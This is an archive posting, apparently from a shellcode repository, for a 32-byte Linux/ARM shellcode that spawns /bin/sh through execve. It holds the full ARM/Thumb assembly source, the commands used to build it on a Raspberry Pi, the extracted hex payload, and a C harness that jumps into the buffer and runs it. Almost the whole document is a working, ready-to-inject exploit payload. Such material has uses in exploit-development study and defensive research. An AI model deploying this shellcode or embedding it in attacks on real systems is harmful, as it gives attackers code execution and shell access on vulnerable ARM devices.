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Linux/ARM execve("/bin/sh", ["/bin/sh"], NULL) Shellcode

Linux/ARM execve("/bin/sh", ["/bin/sh"], NULL) Shellcode
Posted Aug 31, 2018
Authored by Ken Kitahara

32 bytes small Linux/ARM execve("/bin/sh", ["/bin/sh"], NULL) shellcode.

tags | shellcode
systems | linux
MD5 | bcac05f65d3e93f7f75cd126357c62cb

Linux/ARM execve("/bin/sh", ["/bin/sh"], NULL) Shellcode

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/*
Title: Linux/ARM - execve("/bin/sh", ["/bin/sh"], NULL) Shellcode (32 Bytes)
Date: 2018-08-16
Tested: armv7l (Raspberry Pi 3 Model B+)
Author: Ken Kitahara

pi@raspberrypi:~ $ uname -a
Linux raspberrypi 4.14.52-v7+ #1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux
pi@raspberrypi:~ $ lsb_release -a
No LSB modules are available.
Distributor ID: Raspbian
Description: Raspbian GNU/Linux 9.4 (stretch)
Release: 9.4
Codename: stretch
pi@raspberrypi:~ $ cat binsh.s
.section .text
.global _start

_start:
.ARM
add r3, pc, #1
bx r3

.THUMB
// execve("/bin/sh", ["/bin/sh"], NULL)
adr r0, spawn
eor r2, r2, r2
strb r2, [r0, #7]
push {r0, r2}
mov r1, sp
mov r7, #11
svc #1

// adjust address
eor r7, r7, r7

spawn:
.ascii "/bin/shA"

pi@raspberrypi:~ $ as -o binsh.o binsh.s && ld -N -o binsh binsh.o
pi@raspberrypi:~ $ objcopy -O binary binsh binsh.bin
pi@raspberrypi:~ $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' binsh.bin
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x03\xa0\x52\x40\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x7f\x40\x2f\x62\x69\x6e\x2f\x73\x68\x41

*/

#include<stdio.h>
#include<string.h>

unsigned char sc[] = \
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1"
"\x03\xa0\x52\x40\xc2\x71\x05\xb4"
"\x69\x46\x0b\x27\x01\xdf\x7f\x40"
"\x2f\x62\x69\x6e\x2f\x73\x68\x41";

void main()
{
printf("Shellcode Length: %d\n", strlen(sc));

int (*ret)() = (int(*)())sc;

ret();
}

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